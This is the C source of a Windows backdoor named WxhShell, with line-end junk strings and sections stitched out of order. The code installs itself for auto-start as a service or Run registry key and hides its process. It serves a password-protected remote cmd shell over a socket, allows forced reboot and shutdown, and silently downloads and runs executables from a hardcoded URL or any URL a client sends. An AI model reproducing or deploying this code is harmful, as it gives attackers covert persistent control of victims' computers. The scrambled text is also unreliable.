    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vS7/~:C  
    if(Boot(SHUTDOWN)) |HrM_h<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6eOrs-ty  
    else { IZv~[vi_  
    closesocket(wsh); ^y:FjQC:  
    ExitThread(0); 7cIC&(h5  
    } El~-M`Gf  
    break; :z B}z^8-  
    } p]wP36<S!  
  // 获取shell @bY('gC,  
  case 's': { VLf g[*k  
    CmdShell(wsh); uWUR3n  
    closesocket(wsh); J__;.rnk  
    ExitThread(0); }X=87ud  
    break; HH"$#T^-  
  } M6J/mOVx5  
  // 退出  ;KZrl`  
  case 'x': { 1s Br.+p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i\(\MzW*'  
    CloseIt(wsh); \M7I&~V  
    break; 2< p{z  
    } >Y}7[XK  
  // 离开 >4,{6<|  
  case 'q': {  OQ6sv/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \;-qdV_JB  
    closesocket(wsh); >B0D/:R9  
    WSACleanup(); w|=gSC-o  
    exit(1); ([Ebsj  
    break; 9u?(^(.  
        } 4_tR9w"  
  } Kaf>  
  } x Y| yI>  
lj)f4zu  
  // 提示信息 ^Z2kq2}a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yj) e$f  
} G-arnu)  
  } 7U,k 2LS  
,~- ?l7  
  return; 2 #KoN8%  
} [Gh"ojt]w  
oAY_sg+  
// shell模块句柄 o w2$o\hC  
int CmdShell(SOCKET sock) cqEHYJ;B  
{ ,*dzJT$k  
STARTUPINFO si; <{giHT  
ZeroMemory(&si,sizeof(si)); BBvZeG $Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yIOLs}!SF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .!i0_Rv5x  
PROCESS_INFORMATION ProcessInfo; en>9E.?N  
char cmdline[]="cmd"; 27>a#vCT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @&5A&(  
  return 0; VpSEVd:n  
} h4Ia>^@  
=O,JAR"ug  
// 自身启动模式 AliRpxxd  
int StartFromService(void) X/Y#U\  
{ 71O3O7  
typedef struct }kE87x'  
{ =2,0Wo]$  
  DWORD ExitStatus; "x&3Z@q7  
  DWORD PebBaseAddress; JvkL37^ n:  
  DWORD AffinityMask; . |uLt J  
  DWORD BasePriority; YdI0E   
  ULONG UniqueProcessId; $M':&i5`,  
  ULONG InheritedFromUniqueProcessId; RlsVC_H\  
}   PROCESS_BASIC_INFORMATION; Tr&E4e  
L,~MicgV  
PROCNTQSIP NtQueryInformationProcess; w>qCg XU3  
:tM?%=Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c&f y{}10  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h>wcT VF  
<*u C  
  HANDLE             hProcess; hmZvIy(  
  PROCESS_BASIC_INFORMATION pbi; 4<.O+hS  
8Mu;U3cIW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); : ,p||_G&  
  if(NULL == hInst ) return 0; :Q_x/+-  
/s c.C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B,_`btJh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .+E#q&=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ax!Gu$K2o  
<tbZj=*O/o  
  if (!NtQueryInformationProcess) return 0; kX[fy7rVt  
~O: U|&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '# z]M  
  if(!hProcess) return 0; ]` ]g@v  
s t/n"HQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j$x)pB3]  
@u) 'yS  
  CloseHandle(hProcess); vG Vd  
F Z!J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ftv8@l  
if(hProcess==NULL) return 0; sG,+  
mJC3@V s  
HMODULE hMod; rg5]&<Vq8  
char procName[255]; ['[KR BJL  
unsigned long cbNeeded; 8$vK5Dnn8  
o>c ^aRZ{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d TGA5c  
KWhZ +i`  
  CloseHandle(hProcess); T&xt` |  
}Qrab#v  
if(strstr(procName,"services")) return 1; // 以服务启动 k\N4@UK  
:gI.l1  
  return 0; // 注册表启动 ,P6=~q3k  
} z^W$%G  
},c,30V'  
// 主模块 Q_zr\RM>  
int StartWxhshell(LPSTR lpCmdLine) q0O&UE)6Y  
{ /\=MBUN  
  SOCKET wsl; [VSU"AJY  
BOOL val=TRUE; 8)xt(~qF  
  int port=0; otr>3a*'  
  struct sockaddr_in door; pCU*@c!  
SwH2$:f  
  if(wscfg.ws_autoins) Install(); #Hu~}zy  
5j^NV&/_  
port=atoi(lpCmdLine); 2~c~{ jl\  
O~@fXMthh  
if(port<=0) port=wscfg.ws_port; NY.k.  
K:5eek  
  WSADATA data; 'C?NJ~MN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XU-m"_t  
ml u 3K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N.j "S'(i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bAF )Bli  
  door.sin_family = AF_INET; .px:e)iW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~]uZy=P? 5  
  door.sin_port = htons(port); Jx|I6 y  
7m1KR#j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ijUzC>O+q  
closesocket(wsl); RT*5d;l0  
return 1; !.Zt[g}  
} \#dl6:"  
.T.5TMiOSq  
  if(listen(wsl,2) == INVALID_SOCKET) { NZXjE$<Vr  
closesocket(wsl); Mkv|TyC  
return 1; GAEO$e:  
} H+Z SPHs  
  Wxhshell(wsl); >q7 %UK]&  
  WSACleanup(); 9=+-QdX+0]  
rwqv V ^  
return 0; KN[d!}W:  
|4b)>8TL/  
} ?Zcj}e.r  
3071:W  
// 以NT服务方式启动 X K>&$<5{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G'#41>q+  
{ jO'|mGUM  
DWORD   status = 0; K5"sj|d&  
  DWORD   specificError = 0xfffffff; G<qIY&D'  
hW 2.8f$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5EeDHsvV9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +=3CL2{An  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \m/xV /  
  serviceStatus.dwWin32ExitCode     = 0; F $yO  
  serviceStatus.dwServiceSpecificExitCode = 0; fCUT[d+H  
  serviceStatus.dwCheckPoint       = 0; 2x} 6\t  
  serviceStatus.dwWaitHint       = 0; B)=~8wsI:Z  
_ PWj(});  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); faJM^u  
  if (hServiceStatusHandle==0) return; uJow7-FD  
U;^[$Aq  
status = GetLastError(); f7<pEGb  
  if (status!=NO_ERROR) "{BqtU*.  
{ Ax<\jW<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z,Lzgh  
    serviceStatus.dwCheckPoint       = 0; N{joXHCu  
    serviceStatus.dwWaitHint       = 0; 'K@0Wp  
    serviceStatus.dwWin32ExitCode     = status; [*Ju3  
    serviceStatus.dwServiceSpecificExitCode = specificError; sH!O0WL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LAs7>hM  
    return; Dpqt;8"2L  
  } }Uw#f@Wh  
t#b0H)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?y7w}W  
  serviceStatus.dwCheckPoint       = 0; M]EsS^/X  
  serviceStatus.dwWaitHint       = 0; *^XbDg9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Jlv"R 1,  
} &a)vdlZSE=  
"S!3m9_#  
// 处理NT服务事件,比如:启动、停止 UQ8bN I7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +]!lS7nsW  
{ Ka-p& Uv1<  
switch(fdwControl) /g.]RY+u|x  
{ c{3rl;Cs  
case SERVICE_CONTROL_STOP: _PXdzeI.  
  serviceStatus.dwWin32ExitCode = 0; G*n2Ii  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UH3t(o7O  
  serviceStatus.dwCheckPoint   = 0; Dgi~rr1`'s  
  serviceStatus.dwWaitHint     = 0; Zz"}Cz:bX  
  { =,/D/v$m'2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^gR+S  
  } le .'pP@  
  return; 1Ix3i9  
case SERVICE_CONTROL_PAUSE: jj&s} _75  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -G`.y?  
  break; > J>V% 7  
case SERVICE_CONTROL_CONTINUE: 3'eG ;<F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]> G&jd7  
  break; tL(BpL'  
case SERVICE_CONTROL_INTERROGATE: 2C "=!'  
  break; 4u1KF:g  
}; !`wW_W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z!{UWegun  
} n^9  ?~  
*"9<TSU%m  
// 标准应用程序主函数  tFh|V pB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tk?UX7F  
{ oyeG$mpg  
 .5Z_E O  
// 获取操作系统版本 ?y%t}C\W  
OsIsNt=GetOsVer(); ;A#~` P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ujzW|HW^v  
1/iE`Si  
  // 从命令行安装 bXdY\&fE  
  if(strpbrk(lpCmdLine,"iI")) Install(); RUXCq`)"<  
*HlDS22  
  // 下载执行文件 +=fKT,-*G!  
if(wscfg.ws_downexe) { 2CLB1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a(x?fa[D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'gTmH[be  
} #g v4  
%_f;G+fK\p  
if(!OsIsNt) { {d!Y3+I%G  
// 如果时win9x,隐藏进程并且设置为注册表启动 );JJ2Jlkd  
HideProc(); ")`S0n5e  
StartWxhshell(lpCmdLine); m_lr PY-  
} +Ui_ O  
else %+tV/7|F  
  if(StartFromService()) bBE+jqi 2  
  // 以服务方式启动 [ ]p"3 i  
  StartServiceCtrlDispatcher(DispatchTable); 2$0)?ZC?=  
else p@I9< ^"  
  // 普通方式启动 Cvn$]bt/s  
  StartWxhshell(lpCmdLine); @$U e$  
v59nw]'  
return 0; \{v,6JC  
} 8z T0_vw  
t4K56H.L?  
0HibY[_PbD  
>BoSw&T$Q  
=========================================== ~j& ?/{7I  
*\ECf .7jz  
3% vis\~^  
#A<"4#}  
J r*"V`  
Gp|JU Fo  
" @ss):FwA  
pXW`+<g0  
#include <stdio.h> uxDLDA$;  
#include <string.h> E(Gr0#8  
#include <windows.h> o)I/P<  
#include <winsock2.h> =vEkMJ Os  
#include <winsvc.h> )f*Iomp]@  
#include <urlmon.h> dY'Y5Th~  
p;->hn~D'5  
#pragma comment (lib, "Ws2_32.lib") v33T @  
#pragma comment (lib, "urlmon.lib") LDQ e^  
]|LgVXEpx  
#define MAX_USER   100 // 最大客户端连接数 'JZ_  
#define BUF_SOCK   200 // sock buffer r{ @ `o@q  
#define KEY_BUFF   255 // 输入 buffer {D(,ft;s^  
RVF F6N^  
#define REBOOT     0   // 重启 r8v:|Q1"  
#define SHUTDOWN   1   // 关机 >q9{  
JlIS0hnv  
#define DEF_PORT   5000 // 监听端口 9d\N[[Vu]R  
rPTfpeqN)  
#define REG_LEN     16   // 注册表键长度 l l:jsm  
#define SVC_LEN     80   // NT服务名长度 AbY;H  
!-(J-45  
// 从dll定义API Oz>io\P94  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [%~NM/xu<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gb-tNhJa@b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `|,tCM&-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aBlbg3q  
k?-S`o%Q  
// wxhshell配置信息 /(zB0TEd  
struct WSCFG { 4  
  int ws_port;         // 监听端口 9 z*(8d  
  char ws_passstr[REG_LEN]; // 口令 <^sAY P|  
  int ws_autoins;       // 安装标记, 1=yes 0=no i'HST|!j  
  char ws_regname[REG_LEN]; // 注册表键名 C yf]`*  
  char ws_svcname[REG_LEN]; // 服务名 S7#0*2#[o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v=MzI#0L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5KaSWw/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4vGbG:x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :SeLkQC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T&*eOr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OR~GOv|  
k4mTZ}6E  
}; 8;.` {'r  
!F,s"  
// default Wxhshell configuration y`+<X{V5L  
struct WSCFG wscfg={DEF_PORT, Z@nmjji  
    "xuhuanlingzhe", \S5V}!_  
    1, my=~"bw4  
    "Wxhshell", Y-7.Vjt^  
    "Wxhshell", VY{,x;O`  
            "WxhShell Service", LOt#1Qv  
    "Wrsky Windows CmdShell Service", 6\mC$:F  
    "Please Input Your Password: ", 2dyxKK!\a  
  1, -W6V,+of  
  "http://www.wrsky.com/wxhshell.exe", 5W5pRd>Q  
  "Wxhshell.exe" C=EhY+5  
    }; {5.?'vMp  
lmp R>@o"  
// 消息定义模块 qIk )'!Vk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GiFf0c 9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6(sfpK'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2}@*Ki7  
char *msg_ws_ext="\n\rExit."; $"(3MnR  
char *msg_ws_end="\n\rQuit."; o"f%\N0_8  
char *msg_ws_boot="\n\rReboot..."; n('VQ0b  
char *msg_ws_poff="\n\rShutdown..."; z22N7W=7  
char *msg_ws_down="\n\rSave to "; A7e_w 7?a  
"pl[(rc+u  
char *msg_ws_err="\n\rErr!"; @OrXbG7&>#  
char *msg_ws_ok="\n\rOK!"; "rf\' 9=  
XSls]o s  
char ExeFile[MAX_PATH]; Xe> ~H4I9  
int nUser = 0; 81cv:|"  
HANDLE handles[MAX_USER]; Z#[>N,P  
int OsIsNt; f`bIQ9R  
LsUFz_  
SERVICE_STATUS       serviceStatus; ^$6bs64FSm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Je@p5(f  
>02i8:Tp5K  
// 函数声明 Q0_M-^~WT  
int Install(void); c|3h|  
int Uninstall(void); =7H.F:BBG  
int DownloadFile(char *sURL, SOCKET wsh); O]4W|WI3  
int Boot(int flag); ~F=#}6kg_  
void HideProc(void); kKNk2!z`M  
int GetOsVer(void); >n#g9vK  
int Wxhshell(SOCKET wsl); i"ck`6v"8  
void TalkWithClient(void *cs); ,!8*g[^O  
int CmdShell(SOCKET sock); zww?  
int StartFromService(void); M_|M&lR>  
int StartWxhshell(LPSTR lpCmdLine); / *O u$  
moZ)|y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~4}*Dhsh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B/:>{2cm  
@m }rQT  
// 数据结构和表定义 oR4fK td  
SERVICE_TABLE_ENTRY DispatchTable[] = {Nzmb|&  
{ #a/n5c&6/  
{wscfg.ws_svcname, NTServiceMain}, Z&BM%.NZJ  
{NULL, NULL} ^ON-#  
}; LZ3rr-  
x Q@&W;  
// 自我安装 mw2rSUI{  
int Install(void) U+I3P  
{ FA<Z37:  
  char svExeFile[MAX_PATH]; Cj`pw2.  
  HKEY key; zlC^  
  strcpy(svExeFile,ExeFile); ?Aj\1y4L1  
O1l4gduN|i  
// 如果是win9x系统,修改注册表设为自启动 c4FOfH|  
if(!OsIsNt) { >Lo6='G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >MBn2(\B;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rin >r0o  
  RegCloseKey(key); +5N^TnBtBL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S" I#>^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KE }o  
  RegCloseKey(key); _.oRVYK /  
  return 0; )< X=z  
    } Cnb[t[hk+j  
  } \H"/2o%l")  
} dn:|m^<)  
else { WW,r9D:/  
2_B;  
// 如果是NT以上系统,安装为系统服务 CfazD??x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ROlzs}  
if (schSCManager!=0) GN}9$:  
{ q[Sp|C6x  
  SC_HANDLE schService = CreateService Y2ah zB  
  ( ?];~N5<'  
  schSCManager, }V93~>  
  wscfg.ws_svcname, P:bVcta9g  
  wscfg.ws_svcdisp, l7=$4As/hI  
  SERVICE_ALL_ACCESS, 2- |j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \&l*e  
  SERVICE_AUTO_START, h|$zHm  
  SERVICE_ERROR_NORMAL, qHcY 2LV  
  svExeFile, [57V8%  
  NULL, TZ`]#^kU  
  NULL, &</ @0  
  NULL, O(:u(U7e  
  NULL, c@"i?  
  NULL s\n,Z?m  
  ); T3B |r<>I  
  if (schService!=0) :&\E\9  
  { & Q|f*T  
  CloseServiceHandle(schService); _bvtJZ3i  
  CloseServiceHandle(schSCManager); ijR*5#5h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } SWA|x  
  strcat(svExeFile,wscfg.ws_svcname); l[x`*+ON:2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U:T5o]P<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z_hBd['!  
  RegCloseKey(key); 4 I]/  
  return 0; 0B!mEg  
    } Hme@9(zD.  
  } ` Q!FMv6Y^  
  CloseServiceHandle(schSCManager); 5y 'ycTjY  
} S^sW.(I  
} ix_$Ok  
rE' %MiIK  
return 1; 1)c=15^  
} tpy :o(H  
 nd*!`P  
// 自我卸载 dBi3ZC AF  
int Uninstall(void) "S:NU .c?  
{ p-i]l.mT5  
  HKEY key;  Lqf#,J  
;74 DT  
if(!OsIsNt) { rym\5 `)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bvxxE/?Ni  
  RegDeleteValue(key,wscfg.ws_regname); cJp1 <R  
  RegCloseKey(key); HS|g   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ysw6hVb  
  RegDeleteValue(key,wscfg.ws_regname); MHzsxF|  
  RegCloseKey(key); <:_]Yl  
  return 0; ]jT[dX|?  
  } V'BZ=.=  
} nms<6kfzL  
} SBB bniK-  
else { 8^ZM U{  
D} <o<Dk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f<t*#]<  
if (schSCManager!=0) Z+pvdu  
{  ~d<`L[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }od7YL  
  if (schService!=0) 7n3x19T  
  { ]t!}D6p  
  if(DeleteService(schService)!=0) { :."n@sA@  
  CloseServiceHandle(schService); 5a/ A_..+I  
  CloseServiceHandle(schSCManager); <` VJU2  
  return 0; 9.w3VF_C  
  } &>^Ympr  
  CloseServiceHandle(schService); VL,?91qwe  
  } K=^_Ndz  
  CloseServiceHandle(schSCManager); RBp(dKxM$w  
} 1)kl  
} 0kr& c;~  
l`w|o  
return 1; CIs1*:Q9  
} SoON@h/  
*ytd.^@r  
// 从指定url下载文件 UBk 5O&  
int DownloadFile(char *sURL, SOCKET wsh) DD{@lM\vc  
{ 1:l&&/Wy  
  HRESULT hr; #(wz l  
char seps[]= "/"; 6"c!tJc7j  
char *token; ?ia[KLt"  
char *file; 7-0twq   
char myURL[MAX_PATH]; ~}9H<K3V  
char myFILE[MAX_PATH]; ,IX4Zo"a  
t6>Q e  
strcpy(myURL,sURL); 5~rY=0t  
  token=strtok(myURL,seps); |\L,r}1N  
  while(token!=NULL) lNp:2P  
  { P`Wf'C^h  
    file=token; WOTu" Yj  
  token=strtok(NULL,seps); |k9j )Hg(  
  } c3 ]^f6)?  
-tdON  
GetCurrentDirectory(MAX_PATH,myFILE); BE@H~<E J  
strcat(myFILE, "\\"); *gMP_I  
strcat(myFILE, file); \YF!< 2|[  
  send(wsh,myFILE,strlen(myFILE),0); .Im+()b&&  
send(wsh,"...",3,0); G5@fqh6ws  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .`8,$"`4)  
  if(hr==S_OK) K{|dt W&  
return 0; @T=HcUP)  
else $">NW& i(  
return 1; lkJ#$Ik&  
gJfL$S'w  
} vM;dPE7  
*:\9 T#h  
// 系统电源模块 H;8]GE2n  
int Boot(int flag) K`Zb;R X  
{ )C0X]?   
  HANDLE hToken; P\4o4MF@K  
  TOKEN_PRIVILEGES tkp; \$Qm2XKrK  
c15^<6]g  
  if(OsIsNt) { +OP:"Q_#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X#C7r@H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i'LTKj  
    tkp.PrivilegeCount = 1; +}Wo=R}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `-`iS?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B{i;+[ase  
if(flag==REBOOT) { w!k4&Rb3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uwil*Jh  
  return 0; *X55:yha  
} PSw+E';  
else { 9&FV =}MO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gMMd=  
  return 0; !d@`r1t  
}  &\br_  
  } l\y*wr`  
  else { +>%+r  
if(flag==REBOOT) { ]xeyXw84k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L2A#OZZu  
  return 0; IYC#H}  
} =_:L wmI  
else { C)kQi2T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'GoeVq  
  return 0; 31;T$5v1  
} uzA'D~)P  
} W5uI(rS<6  
V2* |j8|  
return 1; b:&$x (|  
} ==r|]~x  
vw6FvE`lC  
// win9x进程隐藏模块 zUu>kJZ  
void HideProc(void) NUtyUv  
{ Ox'.sq4  
?LFSR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U.0/r!po  
  if ( hKernel != NULL ) nU *fne?  
  { d9( Sj?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZEJa dR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8H b|'Q|^  
    FreeLibrary(hKernel); ea+rjvm  
  } &3?yg61Ag  
mf'1.{  
return; : seL=  
} Q^Z}Y~.  
?d)|vX3Uf  
// 获取操作系统版本 $8}'6,  
int GetOsVer(void) @S92D6  
{ Oei2,3l,?  
  OSVERSIONINFO winfo; RV(z>XM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,~iAoxD5jY  
  GetVersionEx(&winfo); 0GVok$r@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cyE2=  
  return 1; Q7%#3ML  
  else ;~;St>?\R\  
  return 0; %Q~Lk]B?t  
} \LXC269  
rI789 q  
// 客户端句柄模块 2ow\d b  
int Wxhshell(SOCKET wsl) Y'h'8 \  
{ s30_lddD  
  SOCKET wsh; =h;!#ZC  
  struct sockaddr_in client; #"JU39e  
  DWORD myID; YPEd XU8}  
_@TTVd  
  while(nUser<MAX_USER) &O)mPnx`  
{ .D`#a  
  int nSize=sizeof(client); 'wt|buu-H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  <k5~z(  
  if(wsh==INVALID_SOCKET) return 1; ^*Fkt(ida  
}6N|+z.cU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e{:qW'%  
if(handles[nUser]==0) XQ+hTtP  
  closesocket(wsh); A-$BB=Ot  
else e X@q'Zi  
  nUser++; 2ZeL  
  } 8msDJ {,X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <|iU+.j\  
$z]l4Hj  
  return 0; ;8Cqy80K  
} swA"_A8>u  
0%/(p?]M  
// 关闭 socket s q KkTG3  
void CloseIt(SOCKET wsh) s_TM!LRUcw  
{ ) b8*>k  
closesocket(wsh); opC11c/  
nUser--; NM Ajt>t  
ExitThread(0); { Se93o  
} NU[{oI<a  
uzsN#'7=  
// 客户端请求句柄 H5{J2M,f  
void TalkWithClient(void *cs) IM/\t!*7  
{ =I1@O9}+i  
urB.K<5ZA  
  SOCKET wsh=(SOCKET)cs; d6VKUAk'7>  
  char pwd[SVC_LEN]; z-j\S7F  
  char cmd[KEY_BUFF]; t;'.D @  
char chr[1]; =$Z'F<|d  
int i,j; ]Y?$[+Y  
:O%O``xT  
  while (nUser < MAX_USER) { OA0\b_  
@C2<AmY9q*  
if(wscfg.ws_passstr) { W>y_q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u4'Lm+&O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d\f 5\Y  
  //ZeroMemory(pwd,KEY_BUFF); 7>LhXC  
      i=0; v oxlo>:  
  while(i<SVC_LEN) { /a_|oCeC}  
'Bx7b(xqk  
  // 设置超时 "e"`Or  
  fd_set FdRead; 2h!3[{M\  
  struct timeval TimeOut; o v~m?Y]h  
  FD_ZERO(&FdRead); wSK?mS6  
  FD_SET(wsh,&FdRead); ,3j*D+  
  TimeOut.tv_sec=8; BR=Yte /  
  TimeOut.tv_usec=0; ~gc)Ww0(Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K&*FI (a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x@~V975Y  
JoYzC8/r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V4H+m,R  
  pwd=chr[0]; eD3F%wxz  
  if(chr[0]==0xd || chr[0]==0xa) { aZRgd^4  
  pwd=0; $4"OD"Z Cq  
  break; WA/\x  
  } &,/T<V  
  i++; <5q}j-Q  
    } `@&qf}`  
>X F@=J p  
  // 如果是非法用户,关闭 socket }bVyvH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w~9gZ&hdp  
} 2gGJ:,RC$  
ZttL*KK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UnPSJ]VW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0)B+ :  
5c#L6 dA)  
while(1) {  ,Y!)V  
'54@-}D  
  ZeroMemory(cmd,KEY_BUFF); Du/s  
 4Zq5  
      // 自动支持客户端 telnet标准   ziOmmL(r  
  j=0; wmIq{CXx,  
  while(j<KEY_BUFF) { NXx}KF c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  JeA}d  
  cmd[j]=chr[0]; t^'1Ebg  
  if(chr[0]==0xa || chr[0]==0xd) { sDiYm}W  
  cmd[j]=0; r\] WDX!`  
  break; pkoHi'}}$  
  } ,'j5tU?c  
  j++; (_T&2%  
    } TuU.yvkU  
nxt1Y04,H  
  // 下载文件 LP~$7a  
  if(strstr(cmd,"http://")) { Cur) |  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =p"0G%+%  
  if(DownloadFile(cmd,wsh)) jmIP c3O0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DXUI/C f  
  else !qR(Rn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n'gfB]H[  
  } efh wbn  
  else { ,]d}pJ}PX`  
"$)2|  
    switch(cmd[0]) { S8y4 p0mV  
  v=4TU \b%  
